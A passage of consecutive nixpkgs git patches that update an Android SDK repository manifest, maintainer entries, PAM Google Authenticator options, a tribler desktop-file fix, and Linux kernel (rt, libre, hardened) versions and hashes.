         "license": "android-sdk-license",
         "name": "platforms",
         "path": "platforms/android-22",
@@ -25916,7 +25631,7 @@
           }
         ],
         "displayName": "Android SDK Platform 23",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "platforms",
         "path": "platforms/android-23",
@@ -25955,7 +25670,7 @@
           }
         ],
         "displayName": "Android SDK Platform 24",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "platforms",
         "path": "platforms/android-24",
@@ -25994,7 +25709,7 @@
           }
         ],
         "displayName": "Android SDK Platform 25",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "platforms",
         "path": "platforms/android-25",
@@ -26033,7 +25748,7 @@
           }
         ],
         "displayName": "Android SDK Platform 26",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "platforms",
         "path": "platforms/android-26",
@@ -26072,7 +25787,7 @@
           }
         ],
         "displayName": "Android SDK Platform 27",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "platforms",
         "path": "platforms/android-27",
@@ -26111,7 +25826,7 @@
           }
         ],
         "displayName": "Android SDK Platform 28",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "platforms",
         "path": "platforms/android-28",
@@ -26150,7 +25865,7 @@
           }
         ],
         "displayName": "Android SDK Platform 29",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "platforms",
         "path": "platforms/android-29",
@@ -26203,7 +25918,7 @@
           }
         ],
         "displayName": "Android SDK Platform 3",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "platforms",
         "obsolete": "true",
@@ -26243,7 +25958,7 @@
           }
         ],
         "displayName": "Android SDK Platform 30",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "platforms",
         "path": "platforms/android-30",
@@ -26282,7 +25997,7 @@
           }
         ],
         "displayName": "Android SDK Platform 31",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "platforms",
         "path": "platforms/android-31",
@@ -26321,7 +26036,7 @@
           }
         ],
         "displayName": "Android SDK Platform 32",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "platforms",
         "path": "platforms/android-32",
@@ -26360,7 +26075,7 @@
           }
         ],
         "displayName": "Android SDK Platform 33",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "platforms",
         "path": "platforms/android-33",
@@ -26400,7 +26115,7 @@
           }
         ],
         "displayName": "Android SDK Platform 33-ext5",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "platforms",
         "path": "platforms/android-33-ext5",
@@ -26435,7 +26150,7 @@
           }
         ],
         "displayName": "Android SDK Platform 34",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "platforms",
         "obsolete": "true",
@@ -26481,7 +26196,7 @@
           }
         ],
         "displayName": "Android SDK Platform 34-ext12",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "platforms",
         "path": "platforms/android-34-ext12",
@@ -26514,7 +26229,7 @@
           }
         ],
         "displayName": "Android SDK Platform 35",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "platforms",
         "path": "platforms/android-35",
@@ -26551,11 +26266,11 @@
             "url": "https://dl.google.com/android/repository/platform-35-ext14_r01.zip"
           }
         ],
-        "displayName": "Android SDK Platform 35-ext14",
-        "last-available-day": 20174,
+        "displayName": "Android SDK Platform 35-ext15",
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "platforms",
-        "path": "platforms/android-35-ext14",
+        "path": "platforms/android-35-ext15",
         "revision": "35x",
         "revision-details": {
           "major:0": "1"
@@ -26566,7 +26281,7 @@
           "element-attributes": {
             "xsi:type": "ns11:platformDetailsType"
           },
-          "extension-level:1": "14",
+          "extension-level:1": "15",
           "layoutlib:3": {
             "element-attributes": {
               "api": "15"
@@ -26579,19 +26294,19 @@
           {
             "arch": "all",
             "os": "all",
-            "sha1": "feed7041652a3744582bb233506013969dbadb46",
-            "size": 65749783,
-            "url": "https://dl.google.com/android/repository/platform-36_r01.zip"
+            "sha1": "2c1a80dd4d9f7d0e6dd336ec603d9b5c55a6f576",
+            "size": 65878410,
+            "url": "https://dl.google.com/android/repository/platform-36_r02.zip"
           }
         ],
         "displayName": "Android SDK Platform 36",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "platforms",
         "path": "platforms/android-36",
         "revision": "36",
         "revision-details": {
-          "major:0": "1"
+          "major:0": "2"
         },
         "type-details": {
           "api-level:0": "36",
@@ -26632,7 +26347,7 @@
           }
         ],
         "displayName": "Android SDK Platform 4",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "platforms",
         "obsolete": "true",
@@ -26686,7 +26401,7 @@
           }
         ],
         "displayName": "Android SDK Platform 5",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "platforms",
         "obsolete": "true",
@@ -26740,7 +26455,7 @@
           }
         ],
         "displayName": "Android SDK Platform 6",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "platforms",
         "obsolete": "true",
@@ -26780,7 +26495,7 @@
           }
         ],
         "displayName": "Android SDK Platform 7",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "platforms",
         "path": "platforms/android-7",
@@ -26819,7 +26534,7 @@
           }
         ],
         "displayName": "Android SDK Platform 8",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "platforms",
         "path": "platforms/android-8",
@@ -26858,7 +26573,7 @@
           }
         ],
         "displayName": "Android SDK Platform 9",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "platforms",
         "path": "platforms/android-9",
@@ -26897,7 +26612,7 @@
           }
         ],
         "displayName": "Android SDK Platform Baklava",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "platforms",
         "path": "platforms/android-Baklava",
@@ -26962,7 +26677,7 @@
           }
         ],
         "displayName": "Android SDK Platform UpsideDownCake",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "platforms",
         "obsolete": "true",
@@ -27055,42 +26770,6 @@
       }
     },
     "skiaparser": {
-      "1": {
-        "archives": [
-          {
-            "os": "linux",
-            "sha1": "72be6f7630b28e02449a8bbadff7589688f3c3d6",
-            "size": 7014665,
-            "url": "https://dl.google.com/android/repository/skiaparser-8339467-linux.zip"
-          },
-          {
-            "os": "macosx",
-            "sha1": "53c688b0d2458bcead273791745fb27efa3b58ce",
-            "size": 17231541,
-            "url": "https://dl.google.com/android/repository/skiaparser-8339467-mac.zip"
-          },
-          {
-            "os": "windows",
-            "sha1": "8d08dc7c56531092f1704a24b3457bd0455a4be1",
-            "size": 10174177,
-            "url": "https://dl.google.com/android/repository/skiaparser-8339467-win.zip"
-          }
-        ],
-        "displayName": "Layout Inspector image server for API 31 and T",
-        "last-available-day": 19469,
-        "license": "android-sdk-license",
-        "name": "skiaparser",
-        "path": "skiaparser/3",
-        "revision": "1",
-        "revision-details": {
-          "major:0": "1"
-        },
-        "type-details": {
-          "element-attributes": {
-            "xsi:type": "ns5:genericDetailsType"
-          }
-        }
-      },
       "3": {
         "archives": [
           {
@@ -27116,7 +26795,7 @@
           }
         ],
         "displayName": "Layout Inspector image server for API S",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "skiaparser",
         "path": "skiaparser/2",
@@ -27237,7 +26916,7 @@
           }
         ],
         "displayName": "Layout Inspector image server for API 29-30",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "skiaparser",
         "path": "skiaparser/1",
@@ -27283,7 +26962,7 @@
           }
         ],
         "displayName": "Layout Inspector image server for API 31-36",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "skiaparser",
         "path": "skiaparser/3",
@@ -27310,7 +26989,7 @@
           }
         ],
         "displayName": "Sources for Android 14",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "sources",
         "obsolete": "true",
@@ -27340,7 +27019,7 @@
           }
         ],
         "displayName": "Sources for Android 15",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "sources",
         "path": "sources/android-15",
@@ -27369,7 +27048,7 @@
           }
         ],
         "displayName": "Sources for Android 16",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "sources",
         "path": "sources/android-16",
@@ -27398,7 +27077,7 @@
           }
         ],
         "displayName": "Sources for Android 17",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "sources",
         "path": "sources/android-17",
@@ -27427,7 +27106,7 @@
           }
         ],
         "displayName": "Sources for Android 18",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "sources",
         "path": "sources/android-18",
@@ -27456,7 +27135,7 @@
           }
         ],
         "displayName": "Sources for Android 19",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "sources",
         "path": "sources/android-19",
@@ -27485,7 +27164,7 @@
           }
         ],
         "displayName": "Sources for Android 20",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "sources",
         "path": "sources/android-20",
@@ -27514,7 +27193,7 @@
           }
         ],
         "displayName": "Sources for Android 21",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "sources",
         "path": "sources/android-21",
@@ -27543,7 +27222,7 @@
           }
         ],
         "displayName": "Sources for Android 22",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "sources",
         "path": "sources/android-22",
@@ -27572,7 +27251,7 @@
           }
         ],
         "displayName": "Sources for Android 23",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "sources",
         "path": "sources/android-23",
@@ -27601,7 +27280,7 @@
           }
         ],
         "displayName": "Sources for Android 24",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "sources",
         "path": "sources/android-24",
@@ -27630,7 +27309,7 @@
           }
         ],
         "displayName": "Sources for Android 25",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "sources",
         "path": "sources/android-25",
@@ -27659,7 +27338,7 @@
           }
         ],
         "displayName": "Sources for Android 26",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "sources",
         "path": "sources/android-26",
@@ -27688,7 +27367,7 @@
           }
         ],
         "displayName": "Sources for Android 27",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "sources",
         "path": "sources/android-27",
@@ -27717,7 +27396,7 @@
           }
         ],
         "displayName": "Sources for Android 28",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "sources",
         "path": "sources/android-28",
@@ -27746,7 +27425,7 @@
           }
         ],
         "displayName": "Sources for Android 29",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "sources",
         "path": "sources/android-29",
@@ -27775,7 +27454,7 @@
           }
         ],
         "displayName": "Sources for Android 30",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "sources",
         "path": "sources/android-30",
@@ -27804,7 +27483,7 @@
           }
         ],
         "displayName": "Sources for Android 31",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "sources",
         "path": "sources/android-31",
@@ -27833,7 +27512,7 @@
           }
         ],
         "displayName": "Sources for Android 32",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "sources",
         "path": "sources/android-32",
@@ -27862,7 +27541,7 @@
           }
         ],
         "displayName": "Sources for Android 33",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "sources",
         "path": "sources/android-33",
@@ -27892,7 +27571,7 @@
           }
         ],
         "displayName": "Sources for Android 34",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "sources",
         "path": "sources/android-34",
@@ -27922,7 +27601,7 @@
           }
         ],
         "displayName": "Sources for Android 35",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "sources",
         "path": "sources/android-35",
@@ -27946,13 +27625,13 @@
           {
             "arch": "all",
             "os": "all",
-            "sha1": "57b6cbc3acff91f6b1bc56f4083c9446052a9851",
-            "size": 51345538,
+            "sha1": "cbd2cf0e67abf996c4ad6cf6955c3a781d75852a",
+            "size": 51654722,
             "url": "https://dl.google.com/android/repository/source-36_r01.zip"
           }
         ],
         "displayName": "Sources for Android 36",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "sources",
         "path": "sources/android-36",
@@ -28019,7 +27698,7 @@
           }
         },
         "displayName": "Android SDK Tools",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "tools",
         "obsolete": "true",

From ffa6a2b0426a81f1465672fda5fd4d5ad51b9da7 Mon Sep 17 00:00:00 2001
From: DontEatOreo <57304299+DontEatOreo@users.noreply.github.com>
Date: Thu, 29 May 2025 16:41:54 +0300
Subject: [PATCH 0239/4511] maintainers: donteatoreo remove expired keys

(cherry picked from commit fb23f9882b81ccf2b28e32c5038439f19fbd26e4)
---
 maintainers/maintainer-list.nix | 1 -
 1 file changed, 1 deletion(-)

diff --git a/maintainers/maintainer-list.nix b/maintainers/maintainer-list.nix
index fcf98f300691..253ae5d492a2 100644
--- a/maintainers/maintainer-list.nix
+++ b/maintainers/maintainer-list.nix
@@ -6520,7 +6520,6 @@
     name = "DontEatOreo";
     github = "DontEatOreo";
     githubId = 57304299;
-    keys = [ { fingerprint = "33CD 5C0A 673C C54D 661E  5E4C 0DB5 361B EEE5 30AB"; } ];
   };
   dopplerian = {
     name = "Dopplerian";

From 4ef99799889bc50b7b82fe3234dbf5548db79670 Mon Sep 17 00:00:00 2001
From: DontEatOreo <57304299+DontEatOreo@users.noreply.github.com>
Date: Thu, 29 May 2025 16:43:14 +0300
Subject: [PATCH 0240/4511] maintainers: donteatoreo add matrix

(cherry picked from commit b5d5cc769d2987b1a1987c5d16404766a3f431e3)
---
 maintainers/maintainer-list.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/maintainers/maintainer-list.nix b/maintainers/maintainer-list.nix
index 253ae5d492a2..aea0f60bb07b 100644
--- a/maintainers/maintainer-list.nix
+++ b/maintainers/maintainer-list.nix
@@ -6520,6 +6520,7 @@
     name = "DontEatOreo";
     github = "DontEatOreo";
     githubId = 57304299;
+    matrix = "@donteatoreo:matrix.org";
   };
   dopplerian = {
     name = "Dopplerian";

From f0a47fd2a32138305fd1a7cba84b3fc7ec33e9d9 Mon Sep 17 00:00:00 2001
From: Antonio <vozaanthony@gmail.com>
Date: Fri, 16 May 2025 23:24:05 +0200
Subject: [PATCH 0241/4511] nixos/pam: add Google Authenticator 2FA support
 over XRDP

(cherry picked from commit 833118797651cc67fdd21d24af2e959c1e49276d)
---
 nixos/modules/security/pam.nix | 19 +++++++++++++++++++
 1 file changed, 19 insertions(+)

diff --git a/nixos/modules/security/pam.nix b/nixos/modules/security/pam.nix
index ad4e32e82561..0020ace8da5d 100644
--- a/nixos/modules/security/pam.nix
+++ b/nixos/modules/security/pam.nix
@@ -249,6 +249,23 @@ let
               to provide Google Authenticator token to log in.
             '';
           };
+          allowNullOTP = lib.mkOption {
+            type = lib.types.bool;
+            default = false;
+            description = ''
+              Whether to allow login for accounts that have no OTP set
+              (i.e., accounts with no OTP configured or no existing
+              {file}`~/.google_authenticator`).
+            '';
+          };
+          forwardPass = lib.mkOption {
+            type = lib.types.bool;
+            default = false;
+            description = ''
+              The authentication provides a single field requiring
+              the user's password followed by the one-time password (OTP).
+            '';
+          };
         };
 
         otpwAuth = lib.mkOption {
@@ -1048,6 +1065,8 @@ let
                       modulePath = "${pkgs.google-authenticator}/lib/security/pam_google_authenticator.so";
                       settings = {
                         no_increment_hotp = true;
+                        forward_pass = cfg.googleAuthenticator.forwardPass;
+                        nullok = cfg.googleAuthenticator.allowNullOTP;
                       };
                     }
                     {

From 85d90bce1adca29b4e4b26bfba63e1c104e8f943 Mon Sep 17 00:00:00 2001
From: JollyDevelopment <jolly.development@gmail.com>
Date: Thu, 29 May 2025 10:49:44 -0400
Subject: [PATCH 0242/4511] tribler: add StartupWMClass for .desktop file

(cherry picked from commit a8d02413d7a97d9ca963ecffe257f1ff6abb52dd)
---
 pkgs/by-name/tr/tribler/package.nix          | 4 ++++
 pkgs/by-name/tr/tribler/startupwmclass.patch | 9 +++++++++
 2 files changed, 13 insertions(+)
 create mode 100644 pkgs/by-name/tr/tribler/startupwmclass.patch

diff --git a/pkgs/by-name/tr/tribler/package.nix b/pkgs/by-name/tr/tribler/package.nix
index 0ff1b90b8f60..1747d011fd8a 100644
--- a/pkgs/by-name/tr/tribler/package.nix
+++ b/pkgs/by-name/tr/tribler/package.nix
@@ -29,6 +29,10 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-fQJOs9P4y71De/+svmD7YZ4+tm/bC3rspm7SbOHlSR4=";
   };
 
+  patches = [
+    ./startupwmclass.patch
+  ];
+
   nativeBuildInputs = [
     python3.pkgs.wrapPython
     makeWrapper
diff --git a/pkgs/by-name/tr/tribler/startupwmclass.patch b/pkgs/by-name/tr/tribler/startupwmclass.patch
new file mode 100644
index 000000000000..ce1ec9e4a59a
--- /dev/null
+++ b/pkgs/by-name/tr/tribler/startupwmclass.patch
@@ -0,0 +1,9 @@
+diff --git a/build/debian/tribler/usr/share/applications/org.tribler.Tribler.desktop b/build/debian/tribler/usr/share/applications/org.tribler.Tribler.desktop
+index b0472a18d..0e0be14f3 100644
+--- a/build/debian/tribler/usr/share/applications/org.tribler.Tribler.desktop
++++ b/build/debian/tribler/usr/share/applications/org.tribler.Tribler.desktop
+@@ -7,3 +7,4 @@ Terminal=false
+ Type=Application
+ Categories=Application;Network;P2P
+ MimeType=x-scheme-handler/ppsp;x-scheme-handler/tswift;x-scheme-handler/magnet;application/x-bittorrent
++StartupWMClass=Tribler

From 6e2a7bf3e17be83c87e878bbefb9d319c51034f1 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Fabi=C3=A1n=20Heredia=20Montiel?= <fabianhjr@protonmail.com>
Date: Wed, 28 May 2025 09:13:06 -0600
Subject: [PATCH 0243/4511] linux-rt_5_4: 5.4.290-rt96 -> 5.4.293-rt98

(cherry picked from commit e552d5730abb3e9748f5fb8989dcc46bd1ea43bd)
---
 pkgs/os-specific/linux/kernel/linux-rt-5.4.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/linux-rt-5.4.nix b/pkgs/os-specific/linux/kernel/linux-rt-5.4.nix
index 570c7db2a285..a621d24576fd 100644
--- a/pkgs/os-specific/linux/kernel/linux-rt-5.4.nix
+++ b/pkgs/os-specific/linux/kernel/linux-rt-5.4.nix
@@ -10,7 +10,7 @@
 }@args:
 
 let
-  version = "5.4.290-rt96"; # updated by ./update-rt.sh
+  version = "5.4.293-rt98"; # updated by ./update-rt.sh
   branch = lib.versions.majorMinor version;
   kversion = builtins.elemAt (lib.splitString "-" version) 0;
 in
@@ -22,7 +22,7 @@ buildLinux (
 
     src = fetchurl {
       url = "mirror://kernel/linux/kernel/v5.x/linux-${kversion}.tar.xz";
-      sha256 = "0mm4q8f6kbqddy4zaxjf5xyqpnla5qprvsf7v3vq01gmlzr3rivc";
+      sha256 = "0b9p8l6ndm75751f7s03rnxg7yg9c4pj9rb537lhsv6pqx096n1l";
     };
 
     kernelPatches =
@@ -31,7 +31,7 @@ buildLinux (
           name = "rt";
           patch = fetchurl {
             url = "mirror://kernel/linux/kernel/projects/rt/${branch}/older/patch-${version}.patch.xz";
-            sha256 = "1vcyz46n6yznbil5lqiqrn9vrdf0cpva7br9fj7lrr958yjv7101";
+            sha256 = "0vsb893cmc1rqrb2jqpc748748py2dc8nz8p5x3rh35ky8p3shss";
           };
         };
       in

From 82f65d098e604f1869153ab27fd9e11041a790a3 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Fabi=C3=A1n=20Heredia=20Montiel?= <fabianhjr@protonmail.com>
Date: Wed, 28 May 2025 09:16:21 -0600
Subject: [PATCH 0244/4511] linux_latest-libre: 19795 -> 19812

(cherry picked from commit 346546c62f62bb5773cf2a9f7963899020fd5c73)
---
 pkgs/os-specific/linux/kernel/linux-libre.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/linux-libre.nix b/pkgs/os-specific/linux/kernel/linux-libre.nix
index 62ea09bef719..baec656fcae8 100644
--- a/pkgs/os-specific/linux/kernel/linux-libre.nix
+++ b/pkgs/os-specific/linux/kernel/linux-libre.nix
@@ -5,8 +5,8 @@
   linux,
   scripts ? fetchsvn {
     url = "https://www.fsfla.org/svn/fsfla/software/linux-libre/releases/branches/";
-    rev = "19795";
-    sha256 = "1gcg9n5b2yyd3nhzf4v8xiy7xxnizmk33bwnp6c768vckxbzmhdh";
+    rev = "19812";
+    sha256 = "1bhkc0r5p3d4mmmi26k5lsk56jgbc8hi46bfih313hxmrnsd07dy";
   },
   ...
 }@args:

From 43055693bace669b835472887e2e0e010cdb365b Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Fabi=C3=A1n=20Heredia=20Montiel?= <fabianhjr@protonmail.com>
Date: Wed, 28 May 2025 09:16:32 -0600
Subject: [PATCH 0245/4511] linux/hardened/patches/5.15: v5.15.183-hardened1 ->
 v5.15.184-hardened1

(cherry picked from commit 0a618b32b48a5612fc5ae5297af1104a28c76a88)
---
 pkgs/os-specific/linux/kernel/hardened/patches.json | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/hardened/patches.json b/pkgs/os-specific/linux/kernel/hardened/patches.json
index 16bbc6e7e32f..2ae601d41d86 100644
--- a/pkgs/os-specific/linux/kernel/hardened/patches.json
+++ b/pkgs/os-specific/linux/kernel/hardened/patches.json
@@ -12,12 +12,12 @@
     "5.15": {
         "patch": {
             "extra": "-hardened1",
-            "name": "linux-hardened-v5.15.183-hardened1.patch",
-            "sha256": "135ab4z2a1rs94ysf8jgdy8p51n776y88lmwgyf75pbdpiac5wgd",
-            "url": "https://github.com/anthraxx/linux-hardened/releases/download/v5.15.183-hardened1/linux-hardened-v5.15.183-hardened1.patch"
+            "name": "linux-hardened-v5.15.184-hardened1.patch",
+            "sha256": "1s4naybf1rd2a42xqyrvp0g94pfxx766lnwnnfwiid7j3pz7fbi5",
+            "url": "https://github.com/anthraxx/linux-hardened/releases/download/v5.15.184-hardened1/linux-hardened-v5.15.184-hardened1.patch"
         },
-        "sha256": "1s4fqm83api3xk0b443b4bhgrx7bx6n8bchdpmzahqadk9i7yvyh",
-        "version": "5.15.183"
+        "sha256": "1nf1v89ikwi9philrw6h03hzb085mwz44lfxx71agp67vk39hglw",
+        "version": "5.15.184"
     },
     "5.4": {
         "patch": {

From 0a9901c7117b4333e1078a0fbad318f20237a50d Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Fabi=C3=A1n=20Heredia=20Montiel?= <fabianhjr@protonmail.com>
Date: Wed, 28 May 2025 09:16:37 -0600
Subject: [PATCH 0246/4511] linux/hardened/patches/6.1: v6.1.139-hardened1 ->
 v6.1.140-hardened1

(cherry picked from commit ef6d124241d78c41a3b3e0029613598108daf1b5)
---
 pkgs/os-specific/linux/kernel/hardened/patches.json | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/hardened/patches.json b/pkgs/os-specific/linux/kernel/hardened/patches.json
index 2ae601d41d86..65dd07277e00 100644
--- a/pkgs/os-specific/linux/kernel/hardened/patches.json
+++ b/pkgs/os-specific/linux/kernel/hardened/patches.json
@@ -32,12 +32,12 @@
     "6.1": {
         "patch": {
             "extra": "-hardened1",
-            "name": "linux-hardened-v6.1.139-hardened1.patch",
-            "sha256": "055640hrki8br3g4ka8y0lg4zqnrjab3cm0y06p8lpk1bnmsdhms",
-            "url": "https://github.com/anthraxx/linux-hardened/releases/download/v6.1.139-hardened1/linux-hardened-v6.1.139-hardened1.patch"
+            "name": "linux-hardened-v6.1.140-hardened1.patch",
+            "sha256": "0a40j1s1il05wlcp7dfpg20rlff2va4vdcx3vid1dg2h17b2kr3s",
+            "url": "https://github.com/anthraxx/linux-hardened/releases/download/v6.1.140-hardened1/linux-hardened-v6.1.140-hardened1.patch"
         },
-        "sha256": "064zzk7kwkq7i5160s0alzkz16pp89wcq07s9jhzhv4bxvgzyspn",
-        "version": "6.1.139"
+        "sha256": "0x7b856hxmli8qnkps9x62q8sca101v4sfwjqgivzxvprb5gjyap",
+        "version": "6.1.140"
     },
     "6.12": {
         "patch": {

From e9de3538b7f455ac205671a4a2e3165e1daebaf1 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Fabi=C3=A1n=20Heredia=20Montiel?= <fabianhjr@protonmail.com>
Date: Wed, 28 May 2025 09:16:41 -0600
Subject: [PATCH 0247/4511] linux/hardened/patches/6.12: v6.12.29-hardened1 ->
 v6.12.30-hardened1

(cherry picked from commit abe861a47f1f1e11fa9be0c5f41bd71f0222e110)
---
 pkgs/os-specific/linux/kernel/hardened/patches.json | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/hardened/patches.json b/pkgs/os-specific/linux/kernel/hardened/patches.json
index 65dd07277e00..b90659290a45 100644
--- a/pkgs/os-specific/linux/kernel/hardened/patches.json
+++ b/pkgs/os-specific/linux/kernel/hardened/patches.json
@@ -42,12 +42,12 @@
     "6.12": {
         "patch": {
             "extra": "-hardened1",
-            "name": "linux-hardened-v6.12.29-hardened1.patch",
-            "sha256": "0ccg5vr9sfyxd5yhj3zw129ga46x3vvcglcsdsz39hzvi1dmgq5j",
-            "url": "https://github.com/anthraxx/linux-hardened/releases/download/v6.12.29-hardened1/linux-hardened-v6.12.29-hardened1.patch"
+            "name": "linux-hardened-v6.12.30-hardened1.patch",
+            "sha256": "0c04fl4qf47gr72q1kbn3gyzhl27v1w2mmq9dwizkzvb4cf8kvdb",
+            "url": "https://github.com/anthraxx/linux-hardened/releases/download/v6.12.30-hardened1/linux-hardened-v6.12.30-hardened1.patch"
         },
-        "sha256": "0k86nmmpg0jsx11w34vlj20cxpxavip4y5g7dp4bkk1q4dzfrcp8",
-        "version": "6.12.29"
+        "sha256": "0bpqkh64bj6nslbb43hj28lxmrxinrapwgh05q5wwh0yjx46l16z",
+        "version": "6.12.30"
     },
     "6.13": {
         "patch": {

From 2f284570ba2595c23cbc3f85fff1f1760563fd18 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Fabi=C3=A1n=20Heredia=20Montiel?= <fabianhjr@protonmail.com>
Date: Wed, 28 May 2025 09:16:46 -0600
Subject: [PATCH 0248/4511] linux/hardened/patches/6.14: v6.14.7-hardened1 ->
 v6.14.8-hardened1

(cherry picked from commit f542a79263a9a78bce6342afca43f19649e55ad5)
---
 pkgs/os-specific/linux/kernel/hardened/patches.json | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/hardened/patches.json b/pkgs/os-specific/linux/kernel/hardened/patches.json
index b90659290a45..9c10b13e728c 100644
--- a/pkgs/os-specific/linux/kernel/hardened/patches.json
+++ b/pkgs/os-specific/linux/kernel/hardened/patches.json
@@ -62,12 +62,12 @@
     "6.14": {
         "patch": {
             "extra": "-hardened1",
-            "name": "linux-hardened-v6.14.7-hardened1.patch",
-            "sha256": "03ca9s4ricjdyk4k0i3zfrih1jxhwyqpvl1kc6z1fk14cj727h4y",
-            "url": "https://github.com/anthraxx/linux-hardened/releases/download/v6.14.7-hardened1/linux-hardened-v6.14.7-hardened1.patch"
+            "name": "linux-hardened-v6.14.8-hardened1.patch",
+            "sha256": "10vr63mx42vnz7jlr737hsaz20ch972bvv1c7lj6kk5slidwg1rb",
+            "url": "https://github.com/anthraxx/linux-hardened/releases/download/v6.14.8-hardened1/linux-hardened-v6.14.8-hardened1.patch"
         },
-        "sha256": "0wj9yl0ymzjx3ig0l3wdl5dqqiylvjk0j8adm5bnj23dq8mj04l1",
-        "version": "6.14.7"
+        "sha256": "0199maj3mk577wwaszbi0cl5a0afx1ynad896bmmg8vm636jxcb2",
+        "version": "6.14.8"
     },
     "6.6": {
         "patch": {

From 88bd7bb11a2ef810f2332604b71dcfe15bf9d42f Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Fabi=C3=A1n=20Heredia=20Montiel?= <fabianhjr@protonmail.com>
Date: Wed, 28 May 2025 09:16:51 -0600
